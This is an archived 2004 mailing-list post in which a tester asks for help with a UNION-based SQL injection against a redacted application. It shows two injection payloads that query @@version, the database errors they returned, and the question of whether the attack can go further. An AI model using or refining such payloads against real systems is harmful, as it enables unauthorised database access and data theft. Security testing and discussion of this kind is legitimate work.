SQL Injection & ncompatible with int issue

From: Peter Bair (peterbair100@hotmail.com)
Date: Wed Jun 09 2004 - 19:51:06 EDT

('binary' encoding is not supported, stored as-is) I am currently testing an application that reveals it tables. I know the exact columns to perform a union but when I try the following:

xxx.xxx.xxx/item='+union select @@version,1,1,1,1,1,1,1,1,1,1,1,1,1,1+--

RESULT:
Operand type clash: text is incompatible with int

So I will try the solution:

xxx.xxx.xxx/item='+union select @@version,1,1,1,1,1,1,1,1,1,1,1,1,1,"text"+--

RESULT:
Invalid column name 'text'.

I know that "text" is in the correct position and I tried 'text'.

Is this app safe or can I go further?

Thanks for any help.

This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:55 EDT